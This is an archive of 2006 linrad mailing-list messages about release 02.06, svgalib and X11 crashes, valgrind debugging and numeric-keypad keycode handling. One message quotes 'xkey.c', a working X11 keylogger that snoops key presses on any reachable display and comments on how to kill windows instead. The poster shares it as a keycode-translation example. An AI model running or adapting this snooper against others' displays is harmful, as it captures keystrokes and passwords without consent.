[linrad] Re: Linrad-02.06
Hi, All, Wow! 02-06 is VERY nice! Today I wiped Sarge off the hard drive at home [it was not accidental, but rather a mercy killing] and now have Etch both at home and Hilltop, and so can no longer comment on problems with Sarge [RIP] and XLinrad. With getting rid of Sarge and family Holiday stuff, I didn't get a lot of time to play with 02-06. But I can say that 02-06 works very well on Windows on both machines I've tried it on, a laptop and my minitower. And 02-06 works very well with the new Etch installation here at home, both in svgalib mode and in XWindows mode [using Xorg]. I again found with Etch that the STOCK Alsa sound works fine with the Delta44 at 96000 Hz sampling rate, and I didn't need to mess with anything to get sound working properly. Sayonara OSS!! I did set the sampling rate to 96000 Hz in one of the Alsa gui soundcard configurators that I downloaded, but actually didn't try it to see where the default was before I did that. No hitches in the install, no glitches or hangups in operation, no unpleasant surprises at any point. Again, very nice, Leif! I will comment more later after I get a chance to play some more ;) PS Linrad [Linux] did a great job with the SDR14 on the microwaves yesterday. It is very nice being able to control the SDR14's frequency from within Linrad. Thanks!! Thanks again for a great job, and 73, Roger W3SZ On Sun, 16 Apr 2006 17:41:59 -0400, Leif Asbrink <[EMAIL PROTECTED]> wrote: Hi Pierre and all, Many thanks for linrad 02.06 The only 'programming' I had to do was to comment out line 1630 in lsetad.c to remove a trace entry :-) Oooh! I forgot to check for them. There are some other ones as well I have replaced 02-06 by 02-06a. A few arrays are cleared also to make valgrind complain less. It does not affect anything as far as I know. Things like "should I clear a point on the spectrum or is it already cleared" are ok regardless of the answer when Linrad is going to put the first pixel on screen:-) Further down the code there could be "interesting" errors and I will have to remove all trivial things to avoid saturation at 10 errors... 73 Leif / SM5BSZ # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]> -- Roger Rehr W3SZ http://www.nitehawk.com/w3sz/ # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Re: Linrad-02.06
Hi Pierre and all, > Many thanks for linrad 02.06 > The only 'programming' I had to do was to comment out line 1630 in lsetad.c > to > remove a trace entry :-) Oooh! I forgot to check for them. There are some other ones as well I have replaced 02-06 by 02-06a. A few arrays are cleared also to make valgrind complain less. It does not affect anything as far as I know. Things like "should I clear a point on the spectrum or is it already cleared" are ok regardless of the answer when Linrad is going to put the first pixel on screen:-) Further down the code there could be "interesting" errors and I will have to remove all trivial things to avoid saturation at 10 errors... 73 Leif / SM5BSZ # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Linrad 2.06 under svgalib and XFree86.
Hello Leif and others, I have just tested linrad 02-06 under svgalib and XFree86. This is the result: ** svgalib** ./linrad "S" 12: 1024x768 font scale -> "1" mlockall -> "N" change libvga.conf -> "N" mouse reduction -> "10" save -> "w" "A" sound device -> "63" [1074]routine:xzfile:ui.c Trying to write to debug file (dmp) but file is not open. (See define of DUMPFILE in main.c) Press any key. I changed DUMPFILE to TRUE in vern.h and recompiled linrad. Now Linrad starts normally, I can see the graphs. I click on the waterfall and can see the graphs and hear sound. But inmediately it breaks: Using VESA driver, 7872 KB VBE3 svgalib 1.4.3 svgalib: Signal 11: Segmentation fault received Segmentation fault 73, Ramiro. EA1ABZ. *svgalib*** **XFree86** Same problem as svgalib before. Needed to change DUMPFILE to TRUE in vern.h. After recompiling: ./xlinrad "S" font scale -> "1" mlockall -> "N" "w" "A" sound device -> "63" readonly or readwrite --> "W" 1- rx channel 44100 sample rate close and reopen --> "N" Enter "w" "A" Enter Enter Enter Enter Enter Segmentation fault! **XFree86** Thank you very much 73, Ramiro, EA1ABZ. # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Re: Linrad-02.06
Hi Leif, On Sunday 16 April 2006 21:01, Leif Asbrink wrote: > Thanks to all the feedback and good suggestions > Linrad-02.06 should be significantly better than > the previous version(s) under X11. > > For svgalib the differences are small but under > Windows as well as X11 Linrad now answers to > the numeric keyboard which was not the case before. Many thanks for linrad 02.06 The only 'programming' I had to do was to comment out line 1630 in lsetad.c to remove a trace entry :-) Best 73, Pierre / ON5GN # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Linrad-02.06
Hi All, Thanks to all the feedback and good suggestions Linrad-02.06 should be significantly better than the previous version(s) under X11. For svgalib the differences are small but under Windows as well as X11 Linrad now answers to the numeric keyboard which was not the case before. 73 Leif / SM5BSZ # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Re: xlinrad 02.05. Problem solved(?)
I have not even considered Linrad under windows yet, so please take my remarks with that in mind. I believe Leif is using Mingw/Msys and gnu tools on windows as well. We have gdb but it does have shortcomings when compared to valgrind in my (limited) experience. I really like the idea of using these free tools if this can remain possible so I don't think it productive to duplicate Winrad. You are doing fine there and I see no need to force people to buy MSVS .NET tools yet. Bob Alberto di Bene wrote: Robert McGwier wrote: Unfortunately, I do not believe valgrind is available under windows and it would be very difficult to make valgrind work because of the myriad differences between process/threads on windows and on all real operating systems. ;-). Under Windows there are tools specific to the compiler used. As an example, if you use the C++ compiler from Borland, it comes with CodeGuard, a powerful tool for detecting resource leaks, out-of-bounds accesses, uninitialized variables, and a plethora of all the other sins that a programmer normally commits... :-) 73 Alberto I2PHD # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]> -- AMSAT VP Engineering. Member: ARRL, AMSAT-DL, TAPR, Packrats, NJQRP/AMQRP, QRP ARCI, QCWA, FRC. ARRL SDR Wrk Grp Chairman Laziness is the number one inspiration for ingenuity. Guilty as charged! # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Re: xlinrad 02.05. Problem solved(?)
Robert McGwier wrote: Unfortunately, I do not believe valgrind is available under windows and it would be very difficult to make valgrind work because of the myriad differences between process/threads on windows and on all real operating systems. ;-). Under Windows there are tools specific to the compiler used. As an example, if you use the C++ compiler from Borland, it comes with CodeGuard, a powerful tool for detecting resource leaks, out-of-bounds accesses, uninitialized variables, and a plethora of all the other sins that a programmer normally commits... :-) 73 Alberto I2PHD # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Re: xlinrad 02.05 : conversion of x keycodes to ascii
Pierre Vanhoucke wrote:
Hi Leif,
On Sunday 16 April 2006 14:06, Leif Asbrink wrote:
I want key-presses to be sent to Linrad one by one so action
can be taken on single presses. Presumably that is what
you already done with patches. Can you send something that works
on your computer?
This is the modification I made to xmain.c :
case KeyPress:
chr = XKeycodeToKeysym(xdis, ev.xkey.keycode, 0);
if(chr == X_ESC_SYM)
{
// The ESC key was pressed. Exit from Linrad NOW!
lir_status=LIR_END_PROGRAM;
if(lir_errcod!=0)break;
kill_all_flag=1;
sem_post(&sem_kill_all);
store_in_kbdbuf(255);
break;
}
if(chr == X_SHIFT_SYM_L || chr == X_SHIFT_SYM_L )
{
shift_key_status=1;
break;
}
if(chr >= 'a' && chr <='z' && shift_key_status == 1)chr-=32;
if(chr == 7 && shift_key_status == 1)chr='/';
if(chr <= 'z')
{
store_in_kbdbuf(chr);
break;
}
// ** Start mod ***
While it is strictly a programming style issue, this would be easier to
read if it were done
switch (chr) {
case 0:// comment about this case
store_in_kbdbuf(chr);
break;
case 0xff9c: // comment about this case
chr = '1';
store_in_kbdbuf(chr);
ETC.
default: // If it does not meet any of these cases, here you
can put error handling, etc.
break;
}
Now it will be somewhat more complicated than this if you wish to handle
locale information in interpreting the keys struck and have different
settings dependent on different areas of the world or your personal tastes.
Then the
case 0:
might read
case Zero_in_My_Locale:
etc. and make those changes where appropriate. This would
necessitate a "locale" handling function that fills in Zero_In_My_Locale
in the setup some place to do it effectively and for everyone.
Bob
if(chr == 0xff9e )
{
chr ='0';
store_in_kbdbuf(chr);
break;
}
/
--
AMSAT VP Engineering. Member: ARRL, AMSAT-DL, TAPR, Packrats,
NJQRP/AMQRP, QRP ARCI, QCWA, FRC. ARRL SDR Wrk Grp Chairman
Laziness is the number one inspiration for ingenuity. Guilty as charged!
#
This message is sent to you because you are subscribed to
the mailing list .
To unsubscribe, E-mail to: <[EMAIL PROTECTED]>
To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]>
To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]>
Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Re: xlinrad 02.05 : conversion of x keycodes to ascii
Hi Leif,
On Sunday 16 April 2006 14:06, Leif Asbrink wrote:
> I want key-presses to be sent to Linrad one by one so action
> can be taken on single presses. Presumably that is what
> you already done with patches. Can you send something that works
> on your computer?
This is the modification I made to xmain.c :
case KeyPress:
chr = XKeycodeToKeysym(xdis, ev.xkey.keycode, 0);
if(chr == X_ESC_SYM)
{
// The ESC key was pressed. Exit from Linrad NOW!
lir_status=LIR_END_PROGRAM;
if(lir_errcod!=0)break;
kill_all_flag=1;
sem_post(&sem_kill_all);
store_in_kbdbuf(255);
break;
}
if(chr == X_SHIFT_SYM_L || chr == X_SHIFT_SYM_L )
{
shift_key_status=1;
break;
}
if(chr >= 'a' && chr <='z' && shift_key_status == 1)chr-=32;
if(chr == 7 && shift_key_status == 1)chr='/';
if(chr <= 'z')
{
store_in_kbdbuf(chr);
break;
}
// ** Start mod ***
if(chr == 0xff9e )
{
chr ='0';
store_in_kbdbuf(chr);
break;
}
if(chr == 0xff9c )
{
chr ='1';
store_in_kbdbuf(chr);
break;
}
if(chr == 0xff99 )
{
chr ='2';
store_in_kbdbuf(chr);
break;
}
if(chr == 0xff9b )
{
chr ='3';
store_in_kbdbuf(chr);
break;
}
if(chr == 0xff96 )
{
chr ='4';
store_in_kbdbuf(chr);
break;
}
if(chr == 0xff9d )
{
chr ='5';
store_in_kbdbuf(chr);
break;
}
if(chr == 0xff98 )
{
chr ='6';
store_in_kbdbuf(chr);
break;
}
if(chr == 0xff95 )
{
chr ='7';
store_in_kbdbuf(chr);
break;
}
if(chr == 0xff97 )
{
chr ='8';
store_in_kbdbuf(chr);
break;
}
if(chr == 0xff9a )
{
chr ='9';
store_in_kbdbuf(chr);
break;
}
// ** End mod ***
The relationship between the chr values in the if statements and the
corresponding ascii codes was found by tracing the values of chr when I was
hitting the different keys of the numeric keypad on my keyboard.
In case it matters, Suse tells me that my keyboard is a Generic 104-key PC
keyboard , with layout= Belgium.
I will search the internet to find out if there is a better way to handle
this.
Best 73,
Pierre / ON5GN
#
This message is sent to you because you are subscribed to
the mailing list .
To unsubscribe, E-mail to: <[EMAIL PROTECTED]>
To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]>
To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]>
Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Re: xlinrad 02.05. Problem solved(?)
Hi Bob,
> The first one cannot know whether or not a separate thread using a
> pointer or the variable has initialized the contents. In the second,
> typically the construct inside the
>
> if (A ==0) {
> }
>
> braces, requires that A be initialized to zero and that some action
> required by the inside of braces area has been accomplished. Otherwise,
> there would be no need for the if test. This is typically why the
> second fails and the first does not. If A is an unsigned integer
> quantity, it does not matter that B is unitialized.
Oooh! To valgrind it does - at least if A is a signed integer.
As far as I know all possible combinations of bits in a 32
bit word are legal signed integers. Is this no longer true?
Here is a real example(line numbers added manually):
int i;
int *keyboard_buffer;
128:keyboard_buffer=malloc(KEYBOARD_BUFFER_SIZE*sizeof(int));
129:i=keyboard_buffer[0];
130:fprintf(dmp,"\nTEST CASE 1: [%d]",i);
131:i>>=8;
132:i>>=8;
133:i>>=8;
134:i>>=8;
135:fprintf(dmp,"\nTEST CASE 2: [%d]",i);
136:i=0;
137:fprintf(dmp,"\nTEST CASE 3: [%d]",i);
The valgrind output is like this:
==8637== Conditional jump or move depends on uninitialised value(s)
==8637==at 0x416ED80: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x804964C: main (xmain.c:130)
==8637==
==8637== Use of uninitialised value of size 4
==8637==at 0x416CDB9: (within /lib/tls/libc-2.3.6.so)
==8637==by 0x416F6BC: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x804964C: main (xmain.c:130)
==8637==
==8637== Conditional jump or move depends on uninitialised value(s)
==8637==at 0x416CDC1: (within /lib/tls/libc-2.3.6.so)
==8637==by 0x416F6BC: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x804964C: main (xmain.c:130)
==8637==
==8637== Conditional jump or move depends on uninitialised value(s)
==8637==at 0x416F445: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x804964C: main (xmain.c:130)
==8637==
==8637== Conditional jump or move depends on uninitialised value(s)
==8637==at 0x4170FDD: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x804964C: main (xmain.c:130)
==8637==
==8637== Conditional jump or move depends on uninitialised value(s)
==8637==at 0x416F7CE: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x804964C: main (xmain.c:130)
==8637==
==8637== Conditional jump or move depends on uninitialised value(s)
==8637==at 0x416ED80: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x8049668: main (xmain.c:135)
==8637==
==8637== Use of uninitialised value of size 4
==8637==at 0x416CDB9: (within /lib/tls/libc-2.3.6.so)
==8637==by 0x416F6BC: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x8049668: main (xmain.c:135)
==8637==
==8637== Conditional jump or move depends on uninitialised value(s)
==8637==at 0x416CDC1: (within /lib/tls/libc-2.3.6.so)
==8637==by 0x416F6BC: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x8049668: main (xmain.c:135)
==8637==
==8637== Conditional jump or move depends on uninitialised value(s)
==8637==at 0x416F445: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x8049668: main (xmain.c:135)
==8637==
==8637== Conditional jump or move depends on uninitialised value(s)
==8637==at 0x4170FDD: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x8049668: main (xmain.c:135)
==8637==
==8637== Conditional jump or move depends on uninitialised value(s)
==8637==at 0x416F7CE: vfprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x4176D41: fprintf (in /lib/tls/libc-2.3.6.so)
==8637==by 0x8049668: main (xmain.c:135)
==8637==
while the file (dmp) contains the following:
TEST CASE 1: [0]
TEST CASE 2: [0]
TEST CASE 3: [0]
It is obvious that valgrind tracks the history of
the contents of i. The value has to be 0 after
32 right shifts and indeed the printed value is
zero all the time. There must be some mechanism
that valgrind uses to know that the 0-value is
"just by accident". I would like to see an earlier
output from it.
> gdb and valgrind are tools that aid (as you can see) but they cannot
> tease apart all of the logical ways things can happen. If I may, they
> are not mind readers, they are the assistant in the audience aiding the
> mentalist by picking the unsuspecting customer's pocket for
> information! With that at
[linrad] Re: xlinrad 02.05 : conversion of x keycodes to ascii
Hi Pierre, > In case xlinrad 02.06 is not yet out, could you have a look at the conversion > logic of the X keycodes to ASCII codes? Hmmm, I do not understand it. It operates on strings. I have tried to compile it, but I can not make it work. I want key-presses to be sent to Linrad one by one so action can be taken on single presses. Presumably that is what you already done with patches. Can you send something that works on your computer? > In xlinrad 02.05 I had problems with the U option in the main menu: > After I got the screen with the overview of all possible audio devices to > select from, I was not able to enter the number of the selected audio device > and had to quit xlinrad. > > After some tracing it turned out that the X keycodes from the numerical > keypad > were not correctly converted to the corresponding ascii value. > After a very rough patch in the conversion-routine in xmain.c , everything > was running fine. > > I include the code I found on the internet for 'xkey.c' that is doing a > similar conversion job (but much in a much more elegant way than my > patches) : Hmmm, questionable;-) 73 Leif # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Re: xlinrad 02.05. Problem solved(?)
The first one cannot know whether or not a separate thread using a
pointer or the variable has initialized the contents. In the second,
typically the construct inside the
if (A ==0) {
}
braces, requires that A be initialized to zero and that some action
required by the inside of braces area has been accomplished. Otherwise,
there would be no need for the if test. This is typically why the
second fails and the first does not. If A is an unsigned integer
quantity, it does not matter that B is unitialized. The operation is
legal even if the contents are not. These kinds of assignments
typically succeed except in the case of floating point where a floating
point exception is thrown (if you are lucky!).
gdb and valgrind are tools that aid (as you can see) but they cannot
tease apart all of the logical ways things can happen. If I may, they
are not mind readers, they are the assistant in the audience aiding the
mentalist by picking the unsuspecting customer's pocket for
information! With that attitude, you will find a way to properly use
valgrind or gdb to eventually come to arrive at the error by logical
inference and deduction. I wish I could give a more satisfying answer
but you can see why it is not possible for valgrind or gdb to understand
all of the ways these things can happen.
The best case you can hope for is an explosion where valgrind gives you
the line of interest and you back it up logically to the nexus of the
problem.
73's
Bob
[EMAIL PROTECTED] wrote:
Hi Bob,
You will probably need to turn on the debug symbol generation and turn
off optimizations and then you will be able to follow the progress. You
do not care that it is slow here, you are attempting to find logic and
other errors.
OK. The problem is to know all the details
gcc -g -O0 will turn off optimizations, insert debug symbols and you
can then debug with gdb or valgrind.
Hmmm, so far gdb is black magic to me, but valgrind gives
info I can understand:-)
I tried several times (various things) until I discovered I have to
put -g in the compiler stage and not the linker stage;-)
Another thing was that I had to remove -s from the linker options
Now it works!
Is there a way to get an error message when an uninited variable
is used ? Things like this:
(B not initialised)
A=B;
.
.
.
.
if(A==0)whatever();
I get an error message from the last line but not from the first one
which may be very far away in the code an have inherited its non-init
status through a long chain through several intermediate variables.
73
Leif
--
AMSAT VP Engineering. Member: ARRL, AMSAT-DL, TAPR, Packrats,
NJQRP/AMQRP, QRP ARCI, QCWA, FRC. ARRL SDR Wrk Grp Chairman
Laziness is the number one inspiration for ingenuity. Guilty as charged!
#
This message is sent to you because you are subscribed to
the mailing list .
To unsubscribe, E-mail to: <[EMAIL PROTECTED]>
To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]>
To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]>
Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Re: xlinrad 02.05. Problem solved(?)
Hi Bob, > You will probably need to turn on the debug symbol generation and turn > off optimizations and then you will be able to follow the progress. You > do not care that it is slow here, you are attempting to find logic and > other errors. OK. The problem is to know all the details > gcc -g -O0 will turn off optimizations, insert debug symbols and you > can then debug with gdb or valgrind. Hmmm, so far gdb is black magic to me, but valgrind gives info I can understand:-) I tried several times (various things) until I discovered I have to put -g in the compiler stage and not the linker stage;-) Another thing was that I had to remove -s from the linker options Now it works! Is there a way to get an error message when an uninited variable is used ? Things like this: (B not initialised) A=B; . . . . if(A==0)whatever(); I get an error message from the last line but not from the first one which may be very far away in the code an have inherited its non-init status through a long chain through several intermediate variables. 73 Leif # This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: <[EMAIL PROTECTED]> To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]> To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]> Send administrative queries to <[EMAIL PROTECTED]>
[linrad] xlinrad 02.05 : conversion of x keycodes to ascii
Hi Leif,
In case xlinrad 02.06 is not yet out, could you have a look at the conversion
logic of the X keycodes to ASCII codes?
In xlinrad 02.05 I had problems with the U option in the main menu:
After I got the screen with the overview of all possible audio devices to
select from, I was not able to enter the number of the selected audio device
and had to quit xlinrad.
After some tracing it turned out that the X keycodes from the numerical keypad
were not correctly converted to the corresponding ascii value.
After a very rough patch in the conversion-routine in xmain.c , everything
was running fine.
I include the code I found on the internet for 'xkey.c' that is doing a
similar conversion job (but much in a much more elegant way than my
patches) :
**
/* To compile, run it through your favorite ansi compiler something like
* this :
*
* gcc -o xkey xkey.c -L/usr/X11R6/lib -lX11 -lm
*
* To run it, just use it like this : xkey displayname:0
* and watch as that display's keypresses show up in your shell window.
*
*Dominic Giampaolo ([EMAIL PROTECTED])
*/
#include
#include
#include
#include
#include
#include
#include
char *TranslateKeyCode(XEvent *ev);
Display *d;
void snoop_all_windows(Window root, unsigned long type)
{
static int level = 0;
Window parent, *children, *child2;
unsigned int nchildren;
int stat, i,j,k;
level++;
stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
if (stat == FALSE)
{
fprintf(stderr, "Can't query window tree...\n");
return;
}
if (nchildren == 0)
return;
/* For a more drastic inidication of the problem being exploited
* here, you can change these calls to XSelectInput() to something
* like XClearWindow(d, children[i]) or if you want to be real
* nasty, do XKillWindow(d, children[i]). Of course if you do that,
* then you'll want to remove the loop in main().
*
* The whole point of this exercise being that I shouldn't be
* allowed to manipulate resources which do not belong to me.
*/
XSelectInput(d, root, type);
for(i=0; i < nchildren; i++)
{
XSelectInput(d, children[i], type);
snoop_all_windows(children[i], type);
}
XFree((char *)children);
}
int main(int argc, char **argv)
{
char *hostname;
char *string;
XEvent xev;
int count = 0;
if (argv[1] == NULL)
hostname = ":0";
else
hostname = argv[1];
d = XOpenDisplay(hostname);
if (d == NULL)
{
fprintf(stderr, "Blah, can't open display: %s\n", hostname);
return(10);
}
snoop_all_windows(DefaultRootWindow(d), KeyPressMask);
while(1)
{
XNextEvent(d, &xev);
string = TranslateKeyCode(&xev);
if (string == NULL)
continue;
if (*string == '\r')
printf("\n");
else if (strlen(string) == 1)
printf("%s", string);
else
printf("<<%s>>", string);
fflush(stdout);
}
}
#define KEY_BUFF_SIZE 256
static char key_buff[KEY_BUFF_SIZE];
char *TranslateKeyCode(XEvent *ev)
{
int count;
char *tmp;
KeySym ks;
if (ev)
{
count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE,
&ks,NULL);
key_buff[count] = '\0';
if (count == 0)
{
tmp = XKeysymToString(ks);
if (tmp)
strcpy(key_buff, tmp);
else
strcpy(key_buff, "");
}
return key_buff;
}
else
return NULL;
}
***
Thanks and best 73,
Pierre /ON5GN
#
This message is sent to you because you are subscribed to
the mailing list .
To unsubscribe, E-mail to: <[EMAIL PROTECTED]>
To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]>
To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]>
Send administrative queries to <[EMAIL PROTECTED]>
[linrad] Re: Linrad 02.05 part II, svgalib version.
I do not undertand why this happens, because I chose "N" to the question:
"use mlockall to prevent swapping ? (Y/N) " -> "N"
This is a trivial bug. There should have been a test if(ui.memloc==0)
Ok. The xz() function has been a very efective way of finding where the
crash occured. Thanks for the tip!
In 02.06 and later renamed to if(ui.no_memlock == FALSE)
I have started to use TRUE/FALSE for variables used as boolean variables
and sometimes the variable name has to change to reflect whether
a 0 or a 1 matches what the name suggests. (I do not want to change
parameter values)
Understood.
Early like this the mlocall call seldomly fails, that is why I never
detected it. As a temporary solution, just remove the line lir_lock_mem();
Yes, mlockall fails with consistence here within linrad, but if I do
this simple program never fails here.
#include
#include
void main(void){
int i;
i=mlockall(MCL_CURRENT);
printf("returned value is %d \n",i);
}
It always return a 0 value and never crashes
Who knows!! :-)
73, Ramiro.
There will be a greatly improved Lir-02.06 tomorrow:-)
We will wait for the new version
Thank you very much!!!
#
This message is sent to you because you are subscribed to
the mailing list .
To unsubscribe, E-mail to: <[EMAIL PROTECTED]>
To switch to the DIGEST mode, E-mail to <[EMAIL PROTECTED]>
To switch to the INDEX mode, E-mail to <[EMAIL PROTECTED]>
Send administrative queries to <[EMAIL PROTECTED]>
